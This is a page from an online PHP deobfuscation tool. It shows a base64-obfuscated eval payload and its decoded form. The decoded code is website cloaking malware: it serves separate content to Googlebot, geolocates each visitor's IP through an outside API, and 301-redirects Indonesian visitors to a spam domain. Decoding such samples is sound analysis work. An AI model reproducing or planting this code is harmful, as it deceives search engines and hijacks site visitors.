Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGZ3UlJ3OyBIT1ZhSDogcHJvZmlsZV91c2VyKCk7IGdvdG8gR0Z6c3k7..
Decoded Output download
goto fwRRw; HOVaH: profile_user(); goto GFzsy; fwRRw: function profile_user() { $refererUrl = !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $useragent = $_SERVER["HTTP_USER_AGENT"]; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); if (stripos($useragent, "Google-InspectionTool") !== false || stripos($useragent, "googlebot") !== false || stripos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { include "index2.php"; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $api_url = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "JSON Decode error: " . json_last_error_msg(); die; } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (isset($data["country_code"]) && $data["country_code"] === "ID" || isset($data["country"]) && $data["country"] === "Indonesia" || strpos($language, "id") !== false) { header("Location: https://aksescepat.xyz/mayong77", true, 301); die; } include "index1.php"; die; } goto HOVaH; GFzsy:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGZ3UlJ3OyBIT1ZhSDogcHJvZmlsZV91c2VyKCk7IGdvdG8gR0Z6c3k7IGZ3UlJ3OiBmdW5jdGlvbiBwcm9maWxlX3VzZXIoKSB7ICRyZWZlcmVyVXJsID0gIWVtcHR5KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXDEzN1x4NTJceDQ1XDEwNlwxMDVcMTIyXDEwNVx4NTIiXSkgPyAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFwxMzdceDUyXHg0NVx4NDZcMTA1XDEyMlx4NDVcMTIyIl0gOiAnJzsgJHVzZXJhZ2VudCA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEzN1wxMjVceDUzXHg0NVx4NTJceDVmXHg0MVwxMDdceDQ1XHg0ZVwxMjQiXTsgJHJlZmVyZXJEb21haW4gPSBwYXJzZV91cmwoJHJlZmVyZXJVcmwsIFBIUF9VUkxfSE9TVCk7IGlmIChzdHJpcG9zKCR1c2VyYWdlbnQsICJceDQ3XDE1N1wxNTdceDY3XDE1NFx4NjVcNTVcMTExXDE1Nlx4NzNceDcwXDE0NVx4NjNcMTY0XDE1MVx4NmZcMTU2XDEyNFwxNTdcMTU3XHg2YyIpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCR1c2VyYWdlbnQsICJcMTQ3XDE1N1wxNTdcMTQ3XDE1NFwxNDVceDYyXDE1N1x4NzQiKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkdXNlcmFnZW50LCAiXHgyOFwxNDNcMTU3XHg2ZFx4NzBceDYxXDE2NFwxNTFcMTQyXHg2Y1wxNDVceDNiXHgyMFx4NDdcMTU3XHg2Zlx4NjdceDZjXDE0NVx4NjJcMTU3XDE2NFx4MmZceDMyXDU2XHgzMVw3M1x4MjBceDJiXHg2OFwxNjRcMTY0XHg3MFw3Mlw1N1x4MmZcMTY3XHg3N1x4NzdcNTZceDY3XDE1N1x4NmZcMTQ3XHg2Y1x4NjVcNTZcMTQzXHg2ZlwxNTVcNTdcMTQyXDE1N1x4NzRceDJlXHg2OFx4NzRceDZkXHg2Y1x4MjkiKSAhPT0gZmFsc2UpIHsgaW5jbHVkZSAiXDE1MVx4NmVcMTQ0XDE0NVx4NzhceDMyXDU2XDE2MFx4NjhcMTYwIjsgZGllOyB9ICR2aXNpdG9yX2lwID0gJF9TRVJWRVJbIlwxMjJcMTA1XDExNVx4NGZcMTI0XDEwNVwxMzdceDQxXHg0NFx4NDRcMTIyIl07ICRhcGlfdXJsID0gIlwxNTBcMTY0XHg3NFx4NzBceDczXDcyXDU3XHgyZlwxNDFceDcwXHg2OVx4MmVcMTUxXDE1NlwxNDNceDZmXDE1NFx4NzVcMTU1XDE1MVwxNjRcMTQxXDE2M1x4MmVcMTQzXHg2ZlwxNTVceDJmXHgzZlx4NzFcNzUiIC4gJHZpc2l0b3JfaXA7ICRjaCA9IGN1cmxfaW5pdCgkYXBpX3VybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7ICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7ICRkYXRhID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsgaWYgKGpzb25fbGFzdF9lcnJvcigpICE9PSBKU09OX0VSUk9SX05PTkUpIHsgZWNobyAiXHg0YVwxMjNceDRmXHg0ZVx4MjBceDQ0XDE0NVwxNDNcMTU3XDE0NFx4NjVceDIwXDE0NVx4NzJcMTYyXDE1N1x4NzJcNzJceDIwIiAuIGpzb25fbGFzdF9lcnJvcl9tc2coKTsgZGllOyB9ICRsYW5ndWFnZSA9IGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXHg1Zlx4NDFcMTAzXHg0M1wxMDVcMTIwXDEyNFwxMzdcMTE0XDEwMVx4NGVceDQ3XHg1NVx4NDFceDQ3XDEwNSJdKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XHg0MVx4NDNcMTAzXDEwNVwxMjBcMTI0XHg1ZlwxMTRceDQxXHg0ZVwxMDdcMTI1XHg0MVx4NDdcMTA1Il0pIDogJyc7IGlmIChpc3NldCgkZGF0YVsiXDE0M1x4NmZceDc1XDE1NlwxNjRcMTYyXDE3MVx4NWZcMTQzXDE1N1wxNDRcMTQ1Il0pICYmICRkYXRhWyJceDYzXHg2Zlx4NzVcMTU2XDE2NFwxNjJcMTcxXDEzN1wxNDNcMTU3XDE0NFx4NjUiXSA9PT0gIlwxMTFceDQ0IiB8fCBpc3NldCgkZGF0YVsiXDE0M1x4NmZcMTY1XHg2ZVx4NzRceDcyXDE3MSJdKSAmJiAkZGF0YVsiXDE0M1wxNTdceDc1XHg2ZVx4NzRcMTYyXHg3OSJdID09PSAiXHg0OVwxNTZceDY0XDE1N1wxNTZceDY1XHg3M1wxNTFcMTQxIiB8fCBzdHJwb3MoJGxhbmd1YWdlLCAiXDE1MVwxNDQiKSAhPT0gZmFsc2UpIHsgaGVhZGVyKCJceDRjXDE1N1wxNDNceDYxXHg3NFx4NjlcMTU3XHg2ZVx4M2FcNDBcMTUwXDE2NFx4NzRcMTYwXDE2M1x4M2FcNTdcNTdcMTQxXHg2YlwxNjNcMTQ1XDE2M1x4NjNcMTQ1XHg3MFx4NjFceDc0XDU2XHg3OFx4NzlcMTcyXHgyZlx4NmRcMTQxXHg3OVx4NmZcMTU2XHg2N1x4MzdcNjciLCB0cnVlLCAzMDEpOyBkaWU7IH0gaW5jbHVkZSAiXHg2OVwxNTZcMTQ0XHg2NVwxNzBceDMxXHgyZVwxNjBceDY4XDE2MCI7IGRpZTsgfSBnb3RvIEhPVmFIOyBHRnpzeTog')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 08c1bfd77d53d64834654cfeb835a303 |
Eval Count | 1 |
Decode Time | 51 ms |